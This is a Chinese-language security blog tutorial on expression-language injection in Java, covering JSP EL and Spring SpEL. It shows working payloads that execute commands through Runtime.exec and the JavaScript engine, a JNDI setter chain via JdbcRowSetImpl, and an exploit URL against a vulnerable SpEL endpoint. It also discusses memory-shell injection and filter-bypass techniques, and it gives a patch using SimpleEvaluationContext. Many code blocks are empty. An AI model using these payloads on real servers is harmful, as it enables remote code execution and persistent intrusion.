El&Spel
前言
又被卷到了,来点表达式注入。
我真的受不了卷狗了。简直是狠狠push我更新的动力啊。
Java中表达式根据框架分为好多种,这里以JSP自带的表达式语言 EL
和使用较多的Spring框架所支持的SpEL
为例。
其基本语法为${变量表达式}
。
El-Attack
为了简化 JSP 页面,JSP 2.0 新增了 EL(Expression Language)表达式语言 ${EL表达式}
Tomcat、Weblogic、Jetty等Web容器均支持EL表达式
若EL表达式没有生效,需要开启EL表达式
法一:将 page 指令中的
isELIgnored
属性设置为 false<%@ page isELIgnored="false" %>
法二:
web.xml
中配置<el-ignored>
元素1
2
3
4<jsp-property-group>
<url-pattern>*jsp</url-pattern>
<el-ignored>false</el-ignored>
</jsp-propery-group>
EL表达式中有很多内置对象
内置对象 | 说明 |
---|---|
pageScope | 获取 page 范围的变量 |
requestScope | 获取 request 范围的变量 |
sessionScope | 获取 session 范围的变量 |
applicationScope | 获取 application 范围的变量 |
param | 相当于 request.getParameter(String name),获取单个参数的值 |
paramValues | 相当于 request.getParameterValues(String name),获取参数集合中的变量值 |
header | 相当于 request.getHeader(String name),获取 HTTP 请求头信息 |
headerValues | 相当于 request.getHeaders(String name),获取 HTTP 请求头数组信息 |
initParam | 相当于 application.getInitParameter(String name),获取 web.xml 文件中的参数值 |
cookie | 相当于 request.getCookies(),获取 cookie 中的值 |
pageContext | 表示当前 JSP 页面的 pageContext 对象 |
EL表达式不仅可以以文本元素的形式出现,也可以出现在Jsp标签中
Jsp vs El
相比Jsp,EL表达式的执行会更加灵活
- work✔️
<%
((ScriptEngineManager)””.getClass().forName(“javax.script.ScriptEngineManager”).newInstance()).getEngineByName(“js”).eval(“java.lang.Runtime.getRuntime().exec(‘calc’)”);
%>
- fail✖️
<% “”.getClass().forName(“javax.script.ScriptEngineManager”).newInstance().getEngineByName(“js”).eval(“java.lang.Runtime.getRuntime().exec(‘calc’)”);
%>
The method getEngineByName(String) is undefined for the type
- work✔️
${“”.getClass().forName(“javax.script.ScriptEngineManager”).newInstance().getEngineByName(“js”).eval(“java.lang.Runtime.getRuntime().exec(‘calc’)”)}
可见EL表达式能够自动进行类型转换,Tomcat内置的JSP引擎——Apache Jasper如何执行EL表达式就不跟了。
直接给出结论:
这种调用方式让方法以字符串的形式出现,可以把用调用的参数通过外部参数传入,实现更隐蔽的EL执行
1
${""[param.a]()[param.b](param.c)[param.d]()[param.e](param.f)[param.g](param.h)}
a=getClass&b=forName&c=javax.script.ScriptEngineManager&d=newInstance&e=getEngineByName&f=js&g=eval&h=java.lang.Runtime.getRuntime().exec(‘calc’)
Getter & Setter
EL表达式不支持Object a = xxx
来存储临时局部变量。可以利用内置对象来存储。
并且点号属性取值相当于执行对象的getter方法,等号属性赋值则等同于执行setter方法
${pageContext.setAttribute(“obj”, “”.getClass().forName(“com.sun.rowset.JdbcRowSetImpl”).newInstance());
pageContext.getAttribute(“obj”).dataSourceName=”ldap://127.0.0.1:8099/a”;
pageContext.getAttribute(“obj”).autoCommit=true}
1org.apache.el.parser.AstAssign#getValue
->
org.apache.el.parser.AstValue#getValue
->
org.apache.el.parser.AstValue#setValue
->
javax.el.CompositeELResolver#setValue
->
javax.el.BeanELResolver#setValue
POC
1 |
|
主要还是通过反射的方式去命令执行,也可以利用ScriptEngine调用JS引擎绕过过滤:
1 |
|
SpEL-Attack
SpEL:Spring Expression Language 一种表达式语言,支持在运行时查询和操作对象图,类似于EL表达式。
SpEL 的诞生是为了给 Spring 社区提供一种能够与Spring 生态系统所有产品无缝对接,能提供一站式支持的表达式语言。
SpEL基本语法: SpEL使用 #{...}
作为定界符,大括号内被视为SpEL表达式,里面可以使用运算符,变量,调用方法等。使用 T()
运算符会调用类作用域的方法和常量,如#{T(java.lang.Math)}
返回一个java.lang.Math类对象。
#{}
和${}
的区别:
#{}
用于执行SpEl表达式,并将内容赋值给属性${}
主要用于加载外部属性文件中的值
SpEL常用在三个地方。
Value注解 (注:这个类要通过依赖注入才能使Value注解生效,直接new对象是不行的)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18package com.example.demo1.bean;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.context.annotation.PropertySource;
import org.springframework.stereotype.Component;
@Component
@PropertySource({"classpath:/configure.properties"})
public class User {
@Value("${spring.user.name}")
public String userName; // 值来自application.properties
@Value("${home.dorm}")
public String address; // 值来自configure.properties(放在resources文件夹下)
@Value("#{T(java.lang.Math).random()}")
public double age;
@Value("#{systemProperties['os.name']}")
public String sys; // 注入操作系统属性
}1
2
3
4// configure.properties
home.dorm=Room402,Unit4,Building3,No.34.LousyLoad
// application.properti
spring.user.name=Taco输出如下:
User{userName='Taco', address='Room402,Unit4,Building3,No.34.LousyLoad', age=0.5913714334107036, sys='Windows 10'}
XML
1
2
3<bean id="Book" class="com.example.bean">
<property name="author" value="#{表达式}">
</bean>Expression接口
1
2
3
4
5
6
7
8@Test
public void spelTest() {
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression("('Hello '+'SpEL').concat(#end)");
EvaluationContext context = new StandardEvaluationContext();
context.setVariable("end", "!");
System.out.println(expression.getValue(context));
}输出
Hello SpEL!
实际情况下,一般都是基于上面第三种SpEL的使用场景出现的漏洞。 下面简单分析一下SpEL在求表达式值的过程
1.创建解析器 new SpelExpressionParser() 2.解析表达式 parseExpression(your_expression) 3.构造上下文 new StandardEvaluationContext() 默认为这个 4.求值 expression.getValue(context)
漏洞利用前提
1.服务器接收用户输入的表达式 2.表达式解析之后调用了getValue 3.使用StandardEvaluationContext作为上下文对象
1 |
|
这段代码中,可注入的点在请求参数cmd 访问http://localhost:8080/spel?cmd=T(java.lang.Runtime).getRuntime().exec(%27calc%27)
成功弹出计算器。
注入tricks
一些trivial的payload
1 |
|
1 |
|
命令执行带返回结果的:
1 |
|
1 |
|
利用js引擎可以实现更加复杂的操作,如注入内存马
1 |
|
这里利用的是Unsafe
去defineClass
加载字节码
实际上Spring框架中org.springframework.cglib.core.ReflectUtils
就提供了一系列反射有关的方法,其中就包括了字节码加载defineClass
。
1 |
|
高版本JDK(>=9)引入了命名模块机制,java.*
下的非公开变量和方法不能被其他模块直接访问,JDK11还只会提示warning,而在JDK17中会强制开启,直接报错
上面的payload执行后会报错
java.lang.reflect.InaccessibleObjectException: Unable to make protected final java.lang.Class java.lang.ClassLoader.defineClass(java.lang.String,byte[],int,int,java.security.ProtectionDomain) throws java.lang.ClassFormatError accessible: module java.base does not “opens java.lang” to unnamed module @635eaaf1
java.lang.ClassLoader#defineClass
不是公开方法,无法被其他模块访问
1 |
|
Patch
SimpleEvaluationContext
、StandardEvaluationContext
是 SpEL提供的两个 EvaluationContext
SimpleEvaluationContext
旨在仅支持 SpEL 语言语法的一个子集。它不包括 Java 类型引用,构造函数和 bean 引用
用SimpleEvaluationContext
替换默认的StandardEvaluationContext
,就能有效防止恶意SpEL表达式的执行。
Bypass
反射
1 |
|
字符编码
1 |
|
字符串拼接
1 |
|
JavaScript引擎
1 |
|
绕过T( 过滤
1 |
|
绕过getClass(过滤
1 |
|
使用Spring工具类,可打内存马
1 |
|
参考:
https://www.cnblogs.com/bitterz/p/15206255.html
https://owasp.org/www-community/vulnerabilities/Expression_Language_Injection
www.cnblogs.com/bitterz/p/15206255.html
Javaweb安全——表达式注入(EL+SpEL)-CSDN博客